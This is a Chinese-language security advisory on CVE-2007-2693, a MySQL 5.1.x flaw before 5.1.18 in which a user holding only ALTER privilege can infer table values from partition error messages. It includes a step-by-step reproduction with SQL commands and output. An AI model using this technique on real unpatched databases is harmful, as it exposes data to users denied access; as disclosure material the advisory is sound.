导致MySQL Alter Table函数信息泄露的原因


  本文标签:MySQL Alter Table

  以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧!

  受影响系统:

  

  1. MySQL AB MySQL 5.1.x < 5.1.18  

  不受影响系统:

  

  1. MySQL AB MySQL 5.1.18  

  描述:BUGTRAQ ID: 24008

  CVE(CAN) ID: CVE-2007-2693

  MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本  。

  MySQL Alter Table功能实现上存在漏洞,能够以合法帐号登录到数据库系统的攻击者可能利用此漏洞非授权获取数据表相关的敏感信息  。

  如果用户对表格拥有ALTER权限的话,则即使没有SELECT权限也可以通过ALTER TABLE语句获得某些有关表格的敏感信息  。例如,用户可以发布以下命令:

  1. ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));  

  MySQL会返回错误消息:

  1. "Table has no partition for value 18".  

  这样该用户就可以知道存在column1 = 18的列  。

  测试方法:

  以root用户发布:

  

  1. mysql> create table tu (s1 int);   
  2. Query OK, 0 rows affected (0.00 sec)   
  3. mysql> insert into tu values (1);   
  4. Query OK, 1 row affected (0.00 sec)   
  5. mysql> grant alter on tu to molly@localhost;   
  6. Query OK, 0 rows affected (0.01 sec)   
  7.  

  

  以molly@localhost发布:

  

  1. mysql> select * from tu;   
  2. ERROR 1142 (42000): SELECT command denied to user molly@localhost for table   
  3. tu   
  4. mysql> alter table tu partition by list (s1) (partition p1 values in (1));   
  5. Query OK, 1 row affected (0.05 sec)   
  6. Records: 1 Duplicates: 0 Warnings: 0   
  7. mysql> alter table tu partition by list (s1) (partition p1 values in (2));   
  8. ERROR 1513 (HY000): Table has no partition for value 1  

  

  以上的相关内容就是对MySQL Alter Table函数信息泄露漏洞的介绍,望你能有所收获  。